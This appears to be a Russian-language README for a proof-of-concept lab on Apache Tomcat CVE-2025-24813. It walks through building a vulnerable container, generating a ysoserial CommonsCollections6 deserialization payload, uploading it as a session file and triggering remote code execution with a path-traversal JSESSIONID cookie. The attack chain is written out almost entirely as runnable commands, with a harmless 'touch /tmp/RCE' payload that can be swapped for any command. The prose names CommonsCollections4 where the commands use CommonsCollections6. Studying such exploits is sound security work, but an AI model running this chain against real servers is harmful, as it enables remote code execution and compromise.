
Доказательство концепции, демонстрирующее Apache Tomcat CVE-2025-24813, использующее небезопасный PUT-метод DefaultServlet и десериализацию сессий для достижения удалённого выполнения кода.
Этот репозиторий содержит простое приложение, созданное для наблюдения за поведением CVE-2025-24813, недавней уязвимости в Apache Tomcat, связанной с использованием DefaultServlet с включённой записью (readonly=false), что позволяет выполнять небезопасные операции записи через HTTP PUT (с поддержкой partial PUT / Content-Range), которые могут привести к перезаписи критических файлов, включая файлы сессий — открывая возможность RCE при возникновении вредоносной десериализации.
Приложение использует:
| Компонент | Функция |
|---|
| Tomcat 9 + JDK 11 | Уязвимый сервер, используемый в качестве цели |
context.xml | Включает PersistentManager + FileStore для сохранения сессий на диск |
upload.jsp | Простой эндпоинт, принимающий данные и сохраняющий их на диск |
/tmp/app-data/ | Директория, в которую будут сохраняться загруженные файлы |
Изначальная идея — понаблюдать, как Tomcat обрабатывает файлы в среде, настроенной для изучения CVE — начиная с безвредного запроса, который просто записывает файл контролируемым образом (без попытки эксплуатации), а затем — вредоносный файл.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
В другом терминале выполните следующие команды.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
Отправим простой файл, чтобы понаблюдать за нормальным поведением.
Загрузка с отправкой строки
echo "Normal File" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "This is just a simple message."
Если всё корректно, в терминале с strace ничего не должно появиться.
Примечание: Если в strace появятся ошибки SIGSEGV, игнорируйте их. Это шум от JVM.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Здесь используется цепочка CommonsCollections4 для генерации объекта, который в уязвимом сценарии мог бы выполнить команду touch /tmp/RCE. Полезный груз будет сохранён как hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Если предыдущая команда выдала ошибку, то для обеспечения совместимости с современными версиями Java (9+) необходимо добавить флаг --add-opens, чтобы отключить строгую инкапсуляцию (JPMS), которая в противном случае блокировала бы рефлексию, используемую ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
После выполнения этой команды у вас появится локальный бинарный файл:
hack.session
Отправляем файл .session на JSP-эндпоинт, который записывает содержимое напрямую в директорию /tmp/app-data.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Ожидаемый вывод:
File saved successfully in: /tmp/app-data/hack.session
📌 В этот момент никакая команда не выполняется — произошла только запись файла на сервере.
Теперь делаем запрос, отправляя cookie JSESSIONID=hack, пытаясь заставить Tomcat загрузить только что созданную сессию.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
В терминале с strace должны появиться команды execve, создающие файл.
Чтобы увидеть, был ли создан файл, можно также зайти в контейнер и проверить:
docker exec -it toy-cve ls -l /tmp/